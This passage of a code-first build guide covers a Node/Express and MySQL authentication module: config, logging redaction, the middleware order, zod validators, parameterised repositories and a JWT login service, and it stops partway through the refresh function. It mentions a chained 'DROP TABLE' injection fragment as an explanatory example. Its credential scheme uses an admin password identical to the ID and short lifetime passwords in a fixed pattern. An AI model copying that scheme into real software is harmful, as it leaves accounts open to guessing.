CMCMIS_SIMPLIFIED

PHASE 4 — TECHNICAL BUILD ORDER

The Code-First Developer Guide to the Auth Module + Beyond

FOCUS

CODE · ARCHITECTURE · SECURITY · BROWSER DEVTOOLS

(Not deployment, not testing — pure build flow)

Field	Value
Document	TECHNICALbaseORDERSphase.docx
Version	v1.0 — Phase 4 Build Guide
Scope	Pure code architecture; deployment + tests are OUT of scope
Primary Focus	Auth module — every file, every line of reasoning, every security concern
Secondary Focus	End-to-end module build order with technical justification
Audience	Deep Sorathiya (DS) — building this solo with AI engineering pair
Prepared By	Claude (AI engineering pair) — Technical Documentation Engineer mode
Subordinate To	FINAL-DESC-CMCMIS v1.0 · FINAL_DB_DESIGN_v2.0 · phase 0→3 FINAL
Coverage	8 build phases · 60+ files · 12+ security topics
Browser Inspect Topics	Authorization header · httpOnly cookie · localStorage XSS · Network tab forensics
Status	Ready to execute — start writing code top-to-bottom

Table of Contents

Part I — Mission & Build Order

1. Phase 4 Mission Statement

Phase 3 sealed the database. The roles, permissions, role-permission grants, two Super Admin users, departments, sections, lookups, and audit_log are all populated and bcrypt-verified. The database is RUNTIME READY but it cannot speak HTTP yet.

Phase 4's job: build the HTTP layer that turns the seeded RBAC matrix into a working authentication flow visible in a browser. By the end of Phase 4, a user opens http://localhost:5173/login, enters SA79900 / SA79900, gets a JWT, lands on /dashboard, sees all sidebar items (because Super Admin has all 40 permissions), and a Normal User trying to hit /admin/users sees a 403 Forbidden page.

✅Phase 4 Scope — IN

✓Backend: auth module (controller, service, repo, validators)

✓Backend: middleware (authenticate, authorize, rate-limit, error-handler)

✓Backend: users module (GET /me endpoint only)

✓Frontend: Login page, dashboard shell

✓Frontend: auth-context (JWT memory), protected-route, axios client

✓Frontend: permission-aware sidebar

✓Security: JWT + httpOnly refresh cookie + CSRF token

✓Browser DevTools: how to inspect tokens, cookies, requests

⍰ Phase 4 Scope — OUT (explicitly deferred)

✗Test suites — vitest + supertest are in stack (S6) but tests come in Phase 9 (Hardening)

✗Deployment — Nginx + pm2 + production .env is Phase 10

✗Equipment, Job Request, Job Card modules — Phase 5+

✗Dashboard widgets — Phase 8

✗Inquiry, PDF generation — Phase 6/7

✗Master Data Management UI — Phase 2 backlog (post-MVP)

If a topic is not strictly in service of getting the first login working end-to-end, it is OUT of this document.

2. The 8-Step Macro Build Order

Software builds in layers. Each layer assumes the previous works. Skip a layer or build in wrong order — you fight cascading failures. This is the deliberately-sequenced order for Phase 4.

Step	What You Build	Why This Order
1	Backend skeleton (folder, package.json, env, pino logger, DB pool)	Need a process that boots before adding routes
2	Middleware (helmet, cors, compression, json, cookies, error handler)	Need request pipeline before adding routes
3	Auth module (validators, repo, service, controller, routes)	Login is the only entry point users can hit without being logged in
4	JWT middleware (authenticate, authorize, rate-limit)	Need to verify tokens before exposing protected endpoints
5	Frontend skeleton (vite, tailwind, axios client, auth context, ProtectedRoute, Login)	Build the UI that consumes the auth endpoints
6	/me endpoint + sidebar filtering + dashboard shell	Prove permissions flow end-to-end browser→API→DB→browser
7	Smoke test in browser (login as SA79900 + DS00001; verify 403)	Phase 4 acceptance gate
8	Equipment module preview (lay groundwork for Phase 5)	Smooth handoff to next phase

The Build Order Rule

You cannot test STEP N until STEPS 1 through N-1 are all working.

Resist the urge to "jump ahead" to write the Login.tsx form before the /login endpoint exists. Backend-first is not arbitrary — it means at every point, you have a system you can curl, log, and reason about.

Frontend without backend = guesses. Backend without frontend = a callable API. Always have a callable API first.

3. Phase 4 Target File Tree

By the end of Phase 4, your phase4-backend/ and phase4-frontend/ folders look like this. Files appear in the order each step adds them.

3.1 Backend Tree

```
phase4-backend/
├── .env                              ← copy from .env.example, edit
├── .env.example                      ← committed template
├── .gitignore                        ← node_modules, .env, logs
├── package.json                      ← npm scripts, deps
├── package-lock.json
├── README.md
│
├── src/
│   ├── server.js                     ← entry point (boots Express)
│   │
│   ├── config/
│   │   ├── env.js                    ← dotenv + envalid validation
│   │   ├── db.js                     ← mysql2 pool
│   │   ├── logger.js                 ← pino instance
│   │   └── jwt.js                    ← JWT secrets + lifetimes
│   │
│   ├── middleware/
│   │   ├── authenticate.js           ← JWT verify, attach req.user
│   │   ├── authorize.js              ← permission check
│   │   ├── rateLimit.js              ← express-rate-limit
│   │   ├── rowLevelScope.js          ← BR-VIS filter (stub for now)
│   │   ├── validate.js               ← zod schema runner
│   │   └── errorHandler.js           ← centralised error envelope
│   │
│   ├── modules/
│   │   ├── auth/
│   │   │   ├── auth.routes.js        ← /login, /refresh, /logout
│   │   │   ├── auth.controller.js    ← HTTP handlers
│   │   │   ├── auth.service.js       ← business logic
│   │   │   ├── auth.validators.js    ← zod schemas
│   │   │   ├── users.repo.js         ← SELECT/UPDATE users
│   │   │   ├── refreshTokens.repo.js ← refresh_tokens CRUD
│   │   │   └── loginAudit.repo.js    ← login_audit INSERT
│   │   │
│   │   └── users/
│   │       ├── users.routes.js       ← GET /me
│   │       └── users.controller.js
│   │
│   └── utils/
│       ├── csrf.js                   ← double-submit token gen/verify
│       └── crypto.js                 ← sha256 helper for refresh hash
│
└── tests/                            ← (Phase 9 — empty in Phase 4)
```

3.2 Frontend Tree

```
phase4-frontend/
├── .env
├── .env.example
├── .gitignore
├── package.json
├── vite.config.js
├── tailwind.config.js
├── tsconfig.json                    ← if using TS path aliases (optional)
├── index.html
│
├── src/
│   ├── main.tsx                     ← React root
│   ├── App.tsx                      ← router setup
│   │
│   ├── pages/
│   │   ├── Login.tsx                ← form
│   │   └── Dashboard.tsx            ← post-login shell
│   │
│   ├── components/
│   │   ├── ProtectedRoute.tsx       ← route guard
│   │   ├── Sidebar.tsx              ← permission-filtered nav
│   │   └── ui/                      ← reusable primitives
│   │       ├── Button.tsx
│   │       ├── Input.tsx
│   │       └── FormField.tsx
│   │
│   ├── lib/
│   │   ├── api-client.ts            ← axios + interceptors
│   │   ├── auth-context.tsx         ← JWT in memory + permissions
│   │   ├── permissions.ts           ← permission helpers
│   │   └── schemas/
│   │       └── loginSchema.ts       ← zod (shared with BE)
│   │
│   └── styles/
│       └── globals.css              ← tailwind directives
```

PART II

STEP 1 — Backend Skeleton

Folder, package.json, env, logger, DB pool

4. Folder Scaffold & package.json

You start with an empty folder. Everything below produces a Node.js process that boots cleanly, validates env vars at startup, and exposes a /healthz endpoint. No routes yet, no auth yet. Just a process that listens.

4.1 Create the folder

```
mkdir phase4-backend
cd phase4-backend
npm init -y               # creates package.json with defaults
mkdir -p src/config src/middleware src/modules/auth src/modules/users src/utils
mkdir tests
```

4.2 package.json — Final Shape

```
{
  "name": "cmcmis-phase4-backend",
  "version": "1.0.0",
  "description": "CMCMIS_SIMPLIFIED Phase 4 — Auth module",
  "main": "src/server.js",
  "scripts": {
    "dev":   "node --watch src/server.js",
    "start": "node src/server.js"
  },
  "engines": { "node": ">=18.0.0" },
  "dependencies": {
    "express":            "^4.19.2",
    "mysql2":             "^3.11.0",
    "bcryptjs":           "^2.4.3",
    "jsonwebtoken":       "^9.0.2",
    "zod":                "^3.23.0",
    "dotenv":             "^16.4.5",
    "envalid":            "^8.0.0",
    "helmet":             "^7.1.0",
    "cors":               "^2.8.5",
    "cookie-parser":      "^1.4.7",
    "compression":        "^1.7.4",
    "express-rate-limit": "^7.4.0",
    "pino":               "^9.4.0",
    "pino-http":          "^10.3.0",
```

```
    "pino-pretty":        "^11.2.0",
    "dayjs":              "^1.11.13"
  }
}
```

Install everything in one shot:

```
npm install
```

❓ Why each dependency is here

express — web framework (D7)

mysql2 — DB driver (D2)

bcryptjs — password verify (matches Phase 3 seeded hashes)

jsonwebtoken — JWT sign + verify (D17)

zod — input validation (S6 schemas + shared with FE)

dotenv — load .env file

envalid — validate env at boot; fail-fast on missing vars

helmet — OWASP-friendly security headers

cors — restrict allowed origins

cookie-parser — read httpOnly refresh cookie (S1)

compression — gzip responses (S2)

express-rate-limit — brute-force protection

pino + pino-http — fast structured JSON logging (D6)

pino-pretty — dev-only readable logs

dayjs — symmetric date math with FE

5. .env.example, env.js, logger.js

Three foundational config files. Without these, the server cannot boot safely.

5.1 .env.example (committed template)

```
# ── Server ──────────────────────────────────────────
NODE_ENV=development
PORT=3000
API_BASE_PATH=/api/v1
CORS_ORIGIN=http://localhost:5173

# ── Database ────────────────────────────────────────
DB_HOST=localhost
DB_PORT=3306
DB_USER=root
DB_PASSWORD=
DB_NAME=final
DB_POOL_LIMIT=15

# ── JWT ─────────────────────────────────────────────
# IMPORTANT: replace with 256-bit random secret in prod
# Generate with: node -e "console.log(require('crypto').randomBytes(32).toString('hex'))"
JWT_ACCESS_SECRET=dev-only-replace-this-with-real-secret-in-prod
JWT_REFRESH_SECRET=dev-only-replace-this-too
JWT_ACCESS_TTL_SEC=900           # 15 minutes (D17)
JWT_REFRESH_TTL_SEC=604800       # 7 days (D17)

# ── Bcrypt (matches Phase 3) ────────────────────────
BCRYPT_ROUNDS=10                 # 12 in prod (M11)

# ── Rate Limiting ───────────────────────────────────
LOGIN_RATE_WINDOW_MS=900000      # 15 min
LOGIN_RATE_MAX=10                # 10 attempts per window per IP

# ── Logging ─────────────────────────────────────────
LOG_LEVEL=debug                  # info | warn | error in prod
```

⚠ Critical Security Note — JWT Secrets

The dev .env.example values are PLACEHOLDERS. In any environment that touches real data:

1. Generate a 256-bit secret per environment:

   node -e "console.log(require(\"crypto\").randomBytes(32).toString(\"hex\"))"

2. Use DIFFERENT secrets for JWT_ACCESS_SECRET and JWT_REFRESH_SECRET.

(If they are the same, a leaked access token can be replayed as a refresh token.)

3. NEVER commit .env to git. .gitignore must include it.

4. NEVER log the secret. Pino redact rules will be configured to scrub it.

5. Rotate secrets quarterly; rotate immediately if breached.

5.2 src/config/env.js — Fail-fast on bad config

```
// src/config/env.js
require('dotenv').config();
const { cleanEnv, str, num, port } = require('envalid');

const env = cleanEnv(process.env, {
  NODE_ENV: str({ choices: ['development', 'production', 'test'] }),
  PORT: port({ default: 3000 }),
  API_BASE_PATH: str({ default: '/api/v1' }),
  CORS_ORIGIN: str(),

  DB_HOST: str(),
  DB_PORT: port({ default: 3306 }),
  DB_USER: str(),
  DB_PASSWORD: str({ default: '' }),
  DB_NAME: str(),
  DB_POOL_LIMIT: num({ default: 15 }),

  JWT_ACCESS_SECRET: str({ desc: 'min 32 chars; generate per env' }),
  JWT_REFRESH_SECRET: str({ desc: 'min 32 chars; DIFFERENT from access' }),
  JWT_ACCESS_TTL_SEC: num({ default: 900 }),
  JWT_REFRESH_TTL_SEC: num({ default: 604800 }),

  BCRYPT_ROUNDS: num({ default: 10 }),
  LOGIN_RATE_WINDOW_MS: num({ default: 900000 }),
  LOGIN_RATE_MAX: num({ default: 10 }),
  LOG_LEVEL: str({ default: 'info' }),
});

// Defensive: refuse to boot if both JWT secrets are equal
if (env.JWT_ACCESS_SECRET === env.JWT_REFRESH_SECRET) {
  throw new Error('JWT_ACCESS_SECRET and JWT_REFRESH_SECRET must differ');
}

module.exports = env;
```

What this gives you: at boot, if .env is missing PORT or has DB_USER unset, the process EXITS with a clear message. You will never debug a "cannot connect" at 2am because of a typo in a quiet env var.

5.3 src/config/logger.js — Pino instance

```
// src/config/logger.js
const pino = require('pino');
const env = require('./env');

const logger = pino({
  level: env.LOG_LEVEL,
  redact: {
    paths: [
```

```
      'req.headers.authorization',
      'req.headers.cookie',
      'res.headers["set-cookie"]',
      '*.password',
      '*.password_hash',
      '*.jwtAccessSecret',
      '*.jwtRefreshSecret',
    ],
    censor: '***',
  },
  transport: env.NODE_ENV === 'development'
    ? { target: 'pino-pretty', options: { colorize: true, translateTime: 'SYS:HH:MM:ss' } }
    : undefined,
});

module.exports = logger;
```

Critical detail: the redact paths scrub Authorization headers and Set-Cookie headers from every log line. Even if a verbose debug log fires, your tokens never hit disk.

6. src/config/db.js — MySQL Pool

```
// src/config/db.js
const mysql = require('mysql2/promise');
const env = require('./env');
const logger = require('./logger');

const pool = mysql.createPool({
  host: env.DB_HOST,
  port: env.DB_PORT,
  user: env.DB_USER,
  password: env.DB_PASSWORD,
  database: env.DB_NAME,
  connectionLimit: env.DB_POOL_LIMIT,
  charset: 'utf8mb4',
  timezone: 'Z',
  // multipleStatements: FALSE  ← critical: only enable for migrations
});

// Verify connectivity once at boot
(async () => {
  try {
    const conn = await pool.getConnection();
    await conn.query('SELECT 1');
    conn.release();
    logger.info({ host: env.DB_HOST, db: env.DB_NAME }, 'DB pool ready');
  } catch (e) {
    logger.fatal({ err: e }, 'DB pool failed to connect — exiting');
    process.exit(1);
  }
})();

module.exports = pool;
```

Why multipleStatements is FALSE here

The migration runner intentionally sets multipleStatements: true so it can execute SQL files with many statements separated by semicolons.

In runtime code (controllers / services), this MUST be FALSE because it is a SQL-injection amplifier. If an attacker can inject a single statement, multipleStatements lets them chain DROP TABLE; SELECT 1; — devastating.

With multipleStatements: false, the worst case from a single injected fragment is one statement. Combined with parameterised queries (the only way we will write SQL), the attack surface is minimal.

6.1 src/server.js — The Boot File

This is the absolute first file you run. It assembles everything you have built so far. Until middleware (Step 2) and routes (Step 3) are added, it is intentionally minimal.

```
// src/server.js
const express = require('express');
const env = require('./config/env');
const logger = require('./config/logger');
require('./config/db');  // triggers pool boot + connectivity check

const app = express();

// Healthcheck — useful from day 1
app.get('/healthz', (req, res) => {
  res.json({ ok: true, uptime: process.uptime(), env: env.NODE_ENV });
});

app.listen(env.PORT, () => {
  logger.info({ port: env.PORT, env: env.NODE_ENV }, 'Server ready');
});

// Graceful shutdown
process.on('SIGTERM', () => {
  logger.info('SIGTERM received — shutting down');
  process.exit(0);
});
```

✓STEP 1 — Verification Gate

Run: npm run dev

Expected output:

[12:30:01.234] INFO: DB pool ready { host: "localhost", db: "final" }

[12:30:01.250] INFO: Server ready { port: 3000, env: "development" }

Curl test (in another terminal):

curl http://localhost:3000/healthz

Expected response:

{"ok":true,"uptime":2.345,"env":"development"}

If both work → STEP 1 is GREEN. Proceed to STEP 2.

PART III

STEP 2 — Middleware Pipeline

helmet, cors, compression, cookies, error handler

7. The 13-Step Middleware Pipeline

Express middleware runs in the order it is added. Order is not cosmetic — it is correctness. Get the order wrong and you have invisible security holes. This is THE locked order.

```
incoming request
   ↓
┌──────────────────────────────────────────────────────┐
│ 1.  helmet()                ← security headers       │
│ 2.  cors(orgAllowlist)      ← reject foreign orig    │
│ 3.  compression()           ← gzip responses         │
│ 4.  express.json({limit})   ← parse JSON body        │
│ 5.  cookie-parser()         ← parse refresh cookie   │
│ 6.  pino-http()             ← log request meta       │
│ 7.  rateLimit(login)        ← only on auth routes    │  ← step 4 detail
│ 8.  authenticate()          ← JWT verify             │  ← step 4 detail
│ 9.  authorize(perm)         ← RBAC check             │  ← step 4 detail
│ 10. rowLevelScope()         ← BR-VIS filter          │
│ 11. validate(zodSchema)     ← input validation       │
│ 12. controller              ← business handler       │
│ 13. errorHandler()          ← centralised errors     │
└──────────────────────────────────────────────────────┘
   ↓
outgoing response
```

In STEP 2 we wire 1-6, 11, and 13. The auth-specific middleware (7-9) comes in STEP 4 after we have JWTs to verify.

8. Middleware Files — Code With Explanations

8.1 Update src/server.js — Wire Middleware

```
// src/server.js (replace the minimal version)
const express = require('express');
const helmet = require('helmet');
const cors = require('cors');
const compression = require('compression');
const cookieParser = require('cookie-parser');
const pinoHttp = require('pino-http');

const env = require('./config/env');
const logger = require('./config/logger');
require('./config/db');

const errorHandler = require('./middleware/errorHandler');

const app = express();

// ── 1. helmet ──────────────────────────────────────
app.use(helmet({
  contentSecurityPolicy: {
    directives: {
      defaultSrc: ["'self'"],
      // Allow API server to call itself; refine in prod
      connectSrc: ["'self'", env.CORS_ORIGIN],
    },
  },
}));

// ── 2. cors ────────────────────────────────────────
app.use(cors({
  origin: env.CORS_ORIGIN,
  credentials: true,            // CRITICAL for httpOnly cookie
  methods: ['GET', 'POST', 'PATCH', 'DELETE'],
  allowedHeaders: ['Content-Type', 'Authorization', 'X-CSRF-Token'],
}));

// ── 3. compression ─────────────────────────────────
app.use(compression());

// ── 4. JSON body parser (limited) ──────────────────
app.use(express.json({ limit: '1mb' }));

// ── 5. cookie-parser ───────────────────────────────
app.use(cookieParser());

// ── 6. pino-http ───────────────────────────────────
app.use(pinoHttp({ logger }));

app.get('/healthz', (req, res) => res.json({ ok: true }));
```

```
// Routes come in STEP 3
const authRoutes = require('./modules/auth/auth.routes');
app.use(`${env.API_BASE_PATH}/auth`, authRoutes);

const usersRoutes = require('./modules/users/users.routes');
app.use(`${env.API_BASE_PATH}`, usersRoutes);

// ── 13. Centralised error handler — MUST be LAST ──────
app.use(errorHandler);

app.listen(env.PORT, () => {
  logger.info({ port: env.PORT }, 'Server ready');
});
```

8.2 Why each middleware does what it does

#	Middleware	Defends Against / Provides
1	helmet	Adds X-Frame-Options (clickjacking), X-Content-Type-Options (MIME-sniffing), Strict-Transport-Security (HTTPS downgrade), Content-Security-Policy (XSS), and 10+ other security headers. One line, big win.
2	cors	Browsers enforce same-origin by default. CORS lets your frontend at localhost:5173 talk to your API at localhost:3000. credentials:true is critical — without it, the browser will NOT send the httpOnly refresh cookie cross-origin.
3	compression	gzip / brotli responses. Cuts bandwidth ~70% for JSON. Supports NFR p95 < 500ms latency target.
4	express.json	Parses JSON request bodies. limit: 1mb prevents memory-exhaustion DoS where attacker POSTs a 5GB body. Without limit, default is 100KB — too tight for some legit job-card payloads.
5	cookie-parser	Parses the Cookie header into req.cookies. This is HOW you read the refresh token from the httpOnly cookie.
6	pino-http	Logs every request: method, url, status, duration, requestId. Critical for forensics. Redact rules scrub Authorization header.
7-9	auth chain	Covered in STEP 4 (rate limit → authenticate → authorize).
10	rowLevelScope	BR-VIS filter — Normal Users only see their own JRs; LIC sees all. Stub in STEP 4; full in Phase 5.
11	validate	Runs zod schema against req.body / req.query. Rejects with 400 before reaching controller. Saves DB queries on bad input.
12	controller	Your business code. Should be THIN — just orchestrate service calls and format response.
13	errorHandler	Catches throw / rejected promise. Standardises into { error: { code, message, details } } envelope. Returns appropriate HTTP status.

9. src/middleware/errorHandler.js

This is the safety net. Every unhandled exception in any controller, service, or middleware lands here. Without it, Express returns a 500 with a stack trace leaked to the client — terrible for security.

```
// src/middleware/errorHandler.js
const logger = require('../config/logger');
const env = require('../config/env');

// Custom error classes — throwing these gives precise HTTP responses
class AppError extends Error {
  constructor(code, message, statusCode = 400, details = null) {
    super(message);
    this.code = code;
    this.statusCode = statusCode;
    this.details = details;
  }
}

const errors = {
  badRequest: (msg, details) => new AppError('BAD_REQUEST', msg, 400, details),
  unauthorized: (msg = 'Authentication required') => new AppError('UNAUTHORIZED', msg,
401),
  forbidden: (msg = 'Insufficient permissions') => new AppError('FORBIDDEN', msg, 403),
  notFound: (msg = 'Resource not found') => new AppError('NOT_FOUND', msg, 404),
  conflict: (msg, details) => new AppError('CONFLICT', msg, 409, details),
  tooManyRequests: (msg = 'Rate limit exceeded') => new AppError('RATE_LIMITED', msg, 429),
  internal: (msg = 'Internal server error') => new AppError('INTERNAL', msg, 500),
};

function errorHandler(err, req, res, next) {
  // Zod validation error (parsed by validate.js middleware)
  if (err.name === 'ZodError') {
    return res.status(422).json({
      error: {
        code: 'VALIDATION_ERROR',
        message: 'Input validation failed',
        details: err.errors.map(e => ({ path: e.path.join('.'), message: e.message })),
      },
    });
  }

  if (err instanceof AppError) {
    // Logged as info (expected) — these are application-level rejections
    req.log?.info({ err, code: err.code, status: err.statusCode }, 'AppError');
    return res.status(err.statusCode).json({
      error: { code: err.code, message: err.message, details: err.details },
    });
  }

  // Unexpected — log as error with stack
  req.log?.error({ err: { message: err.message, stack: err.stack } }, 'Unhandled');
```

```
  // NEVER leak stack to client in any env
  res.status(500).json({
    error: {
      code: 'INTERNAL',
      message: env.NODE_ENV === 'development' ? err.message : 'Internal server error',
    },
  });
}

module.exports = errorHandler;
module.exports.errors = errors;
module.exports.AppError = AppError;
```

The Error Envelope Standard

Every error from your API has the SAME shape:

{ "error": { "code": "FORBIDDEN", "message": "...", "details": null } }

Predictable shape means the frontend always knows where to look. The "code" is machine-readable (used for routing logic); "message" is human-readable (shown to user); "details" carries field-level validation errors.

NEVER throw new Error("something") in a controller. Always throw errors.badRequest("...") or one of the others. This way every error has a code + status + message — never an accidental 500.

PART IV

STEP 3 — Auth Module

Validators → Repos → Service → Controller → Routes

The auth module is THE module of Phase 4. Every other module Phase 5+ will build follows the same layered shape. Get this one perfect — every future module is a copy-paste-modify.

Build order inside the module: bottom-up. Validators first (define the contract), then repositories (data access), then service (business logic), then controller (HTTP shaping), then routes (URL wiring). Build bottom-up because each layer only depends on the one below.

```
Routes        ←  thin wiring (URL → controller)
Controller    ←  HTTP req/res ⇔ service params
Service       ←  business logic, state machines, transactions
Repository    ←  raw SQL, parameter binding
Database
```

10. src/modules/auth/auth.validators.js

Zod schemas define the SHAPE and CONSTRAINTS of every input. Same schema can be exported to the frontend (zod is isomorphic) so the form validates the exact same way client and server. This is Architectural Win #1 from Phase 2.

```
// src/modules/auth/auth.validators.js
const { z } = require('zod');

// Locked password format: 2 upper + 5 digits, lifetime
// Matches the regex bcrypted in Phase 3 (^[A-Z]{2}[0-9]{5}$)
const PASSWORD_REGEX = /^[A-Z]{2}[0-9]{5}$/;

const loginSchema = z.object({
  employee_id: z.string()
    .regex(PASSWORD_REGEX, 'Invalid employee_id format')
    .length(7),
  password: z.string()
    .regex(PASSWORD_REGEX, 'Invalid password format')
    .length(7),
});

const refreshSchema = z.object({
  // body is empty; refresh comes from httpOnly cookie
}).strict();

module.exports = {
  loginSchema,
  refreshSchema,
  PASSWORD_REGEX,
};
```

Why both employee_id AND password must match the regex

Same regex on both fields means a malformed input fails fast in the validate middleware BEFORE reaching bcrypt.compare.

bcrypt.compare is intentionally slow (~80ms with cost 10). If an attacker fires 1000 random strings, that is 80 seconds of CPU burned on bcrypt alone.

With the regex pre-check, malformed strings return in <1ms with a 422 (Validation Error). The attacker has to send only well-formed strings to consume bcrypt CPU — a huge mitigation.

This is in addition to express-rate-limit on /login (10 attempts per 15min per IP).

11. The Three Repositories (Data Access Layer)

Repositories are the only files that contain SQL. Services and controllers MUST go through repositories. This isolates SQL injection risk to one tightly-reviewed layer.

11.1 src/modules/auth/users.repo.js

```
// src/modules/auth/users.repo.js
const pool = require('../../config/db');

async function findByEmployeeId(employeeId) {
  const [rows] = await pool.query(
    `SELECT user_id, employee_id, password_hash, is_active, is_locked,
            failed_login_count, last_login_at, section_id
       FROM users WHERE employee_id = ? LIMIT 1`,
    [employeeId]
  );
  return rows[0] || null;
}

async function loadRoleAndPermissions(userId) {
  // Single JOIN — pull role + all permissions in one round trip
  const [rows] = await pool.query(
    `SELECT r.role_code, p.permission_code
       FROM user_roles ur
       JOIN roles r            ON r.role_id = ur.role_id
       JOIN role_permissions rp ON rp.role_id = r.role_id
       JOIN permissions p      ON p.permission_id = rp.permission_id
      WHERE ur.user_id = ?`,
    [userId]
  );
  if (rows.length === 0) return { role_code: null, permissions: [] };
  return {
    role_code: rows[0].role_code,
    permissions: rows.map(r => r.permission_code),
  };
}

async function incrementFailedLogin(userId) {
  await pool.query(
    `UPDATE users
        SET failed_login_count = failed_login_count + 1
      WHERE user_id = ?`,
    [userId]
  );
}

async function recordSuccessfulLogin(userId, ipAddress) {
  await pool.query(
    `UPDATE users
        SET last_login_at = NOW(6),
            last_login_ip = ?,
```

```
            failed_login_count = 0
      WHERE user_id = ?`,
    [ipAddress, userId]
  );
}

module.exports = {
  findByEmployeeId,
  loadRoleAndPermissions,
  incrementFailedLogin,
  recordSuccessfulLogin,
};
```

11.2 src/modules/auth/refreshTokens.repo.js

Refresh tokens are stored as SHA-256 hashes — NEVER the raw token. If the DB is leaked, attackers cannot use the stored hashes to forge sessions.

```
// src/modules/auth/refreshTokens.repo.js
const pool = require('../../config/db');
const { sha256 } = require('../../utils/crypto');

/**
 * Persist a refresh token. The raw token never touches the DB.
 * @param {object} args
 * @param {number} args.userId
 * @param {string} args.rawToken — the JWT body of the refresh token
 * @param {Date} args.expiresAt
 * @param {string} args.userAgent
 * @param {string} args.ipAddress
 */
async function persist({ userId, rawToken, expiresAt, userAgent, ipAddress }) {
  const tokenHash = sha256(rawToken);  // 64-char hex
  await pool.query(
    `INSERT INTO refresh_tokens
       (user_id, token_hash, expires_at, user_agent, ip_address)
     VALUES (?, ?, ?, ?, ?)`,
    [userId, tokenHash, expiresAt, userAgent, ipAddress]
  );
  return tokenHash;
}

/**
 * Verify a token is in the DB, not revoked, not expired.
 * Returns the row if valid; null otherwise.
 */
async function findValid(rawToken) {
  const tokenHash = sha256(rawToken);
  const [rows] = await pool.query(
    `SELECT token_id, user_id, expires_at, revoked_at
       FROM refresh_tokens
      WHERE token_hash = ?
        AND revoked_at IS NULL
        AND expires_at > NOW(6)
      LIMIT 1`,
    [tokenHash]
  );
  return rows[0] || null;
}

async function revoke(rawToken, reason = 'LOGOUT') {
  const tokenHash = sha256(rawToken);
  await pool.query(
    `UPDATE refresh_tokens
        SET revoked_at = NOW(6),
            revoked_reason = ?
      WHERE token_hash = ?`,
```

```
    [reason, tokenHash]
  );
}

async function revokeAllForUser(userId, reason) {
  await pool.query(
    `UPDATE refresh_tokens
        SET revoked_at = NOW(6),
            revoked_reason = ?
      WHERE user_id = ?
        AND revoked_at IS NULL`,
    [reason, userId]
  );
}

module.exports = { persist, findValid, revoke, revokeAllForUser };
```

11.3 src/utils/crypto.js — Helpers

```
// src/utils/crypto.js
const crypto = require('crypto');

function sha256(input) {
  return crypto.createHash('sha256').update(input).digest('hex');
}

// Used for CSRF token generation
function randomToken(bytes = 32) {
  return crypto.randomBytes(bytes).toString('hex');
}

module.exports = { sha256, randomToken };
```

11.4 src/modules/auth/loginAudit.repo.js

```
// src/modules/auth/loginAudit.repo.js
const pool = require('../../config/db');

const OUTCOMES = [
  'SUCCESS', 'FAILED_BAD_PASSWORD', 'FAILED_USER_LOCKED',
  'FAILED_USER_INACTIVE', 'FAILED_NOT_FOUND', 'FAILED_INVALID_FORMAT',
  'LOGOUT', 'TOKEN_REFRESH',
];

async function record({ employeeId, outcome, ipAddress, userAgent, notes }) {
  if (!OUTCOMES.includes(outcome)) {
    throw new Error(`Invalid login outcome: ${outcome}`);
  }
  await pool.query(
    `INSERT INTO login_audit
       (employee_id, outcome, ip_address, user_agent, notes)
     VALUES (?, ?, ?, ?, ?)`,
    [employeeId, outcome, ipAddress, userAgent, notes]
  );
}

module.exports = { record, OUTCOMES };
```

Repository Layer — The Rules

✓Only place where SQL strings exist in the codebase

✓Every query uses ? parameters — never string concatenation

✓Functions return plain objects / arrays — no HTTP concerns

✓No business logic — repository just persists/retrieves

✓Tested separately from controllers (Phase 9)

If you find yourself writing pool.query() in a controller or service, STOP. Move it to a repo.

12. src/modules/auth/auth.service.js — Business Logic

The service is where authentication actually happens. It composes the repositories, applies business rules (BR-AUTH-04, BR-AUTH-06, BR-AUTH-07), and returns either a JWT pair or a typed error.

```
// src/modules/auth/auth.service.js
const bcrypt = require('bcryptjs');
const jwt = require('jsonwebtoken');
const dayjs = require('dayjs');

const env = require('../../config/env');
const { errors } = require('../../middleware/errorHandler');
const usersRepo = require('./users.repo');
const refreshRepo = require('./refreshTokens.repo');
const auditRepo = require('./loginAudit.repo');

/**
 * Login flow — implements BR-AUTH-01 through BR-AUTH-07
 */
async function login({ employeeId, password, ipAddress, userAgent }) {
  // Step 1: Find user
  const user = await usersRepo.findByEmployeeId(employeeId);
  if (!user) {
    await auditRepo.record({
      employeeId, outcome: 'FAILED_NOT_FOUND', ipAddress, userAgent
    });
    throw errors.unauthorized('Invalid credentials');
  }

  // Step 2: Status checks (BR-AUTH-07)
  if (!user.is_active) {
    await auditRepo.record({
      employeeId, outcome: 'FAILED_USER_INACTIVE', ipAddress, userAgent
    });
    throw errors.unauthorized('Account inactive');
  }
  if (user.is_locked) {
    await auditRepo.record({
      employeeId, outcome: 'FAILED_USER_LOCKED', ipAddress, userAgent
    });
    throw errors.unauthorized('Account locked');
  }

  // Step 3: bcrypt compare
  const ok = await bcrypt.compare(password, user.password_hash);
  if (!ok) {
    await usersRepo.incrementFailedLogin(user.user_id);
    await auditRepo.record({
      employeeId, outcome: 'FAILED_BAD_PASSWORD', ipAddress, userAgent
    });
    throw errors.unauthorized('Invalid credentials');
  }
```

```
  // Step 4: Load role + permissions (one JOIN)
  const { role_code, permissions } = await usersRepo.loadRoleAndPermissions(user.user_id);

  // Step 5: Build JWT payload
  const accessPayload = {
    sub: user.employee_id,
    uid: user.user_id,
    role: role_code,
    permissions,
  };
  const accessToken = jwt.sign(accessPayload, env.JWT_ACCESS_SECRET, {
    expiresIn: env.JWT_ACCESS_TTL_SEC,
    jwtid: `acc_${Date.now()}_${user.user_id}`,
  });

  const refreshToken = jwt.sign(
    { sub: user.employee_id, uid: user.user_id, type: 'refresh' },
    env.JWT_REFRESH_SECRET,
    {
      expiresIn: env.JWT_REFRESH_TTL_SEC,
      jwtid: `ref_${Date.now()}_${user.user_id}`,
    }
  );

  // Step 6: Persist refresh token (hashed)
  const expiresAt = dayjs().add(env.JWT_REFRESH_TTL_SEC, 'second').toDate();
  await refreshRepo.persist({
    userId: user.user_id, rawToken: refreshToken,
    expiresAt, userAgent, ipAddress,
  });

  // Step 7: Update last_login + reset counter
  await usersRepo.recordSuccessfulLogin(user.user_id, ipAddress);

  // Step 8: Audit success
  await auditRepo.record({
    employeeId, outcome: 'SUCCESS', ipAddress, userAgent,
  });

  return { accessToken, refreshToken, user: accessPayload };
}

module.exports = { login };
```

12.1 service — refresh() and logout()

```
// src/modules/auth/auth.service.js (continued)

async function refresh({ rawRefreshToken, ipAddress, userAgent }) {
  if (!rawRefreshToken) {
    throw errors.unauthorized('No refresh token');
  }

  // 1. Verify JWT signature + expiry
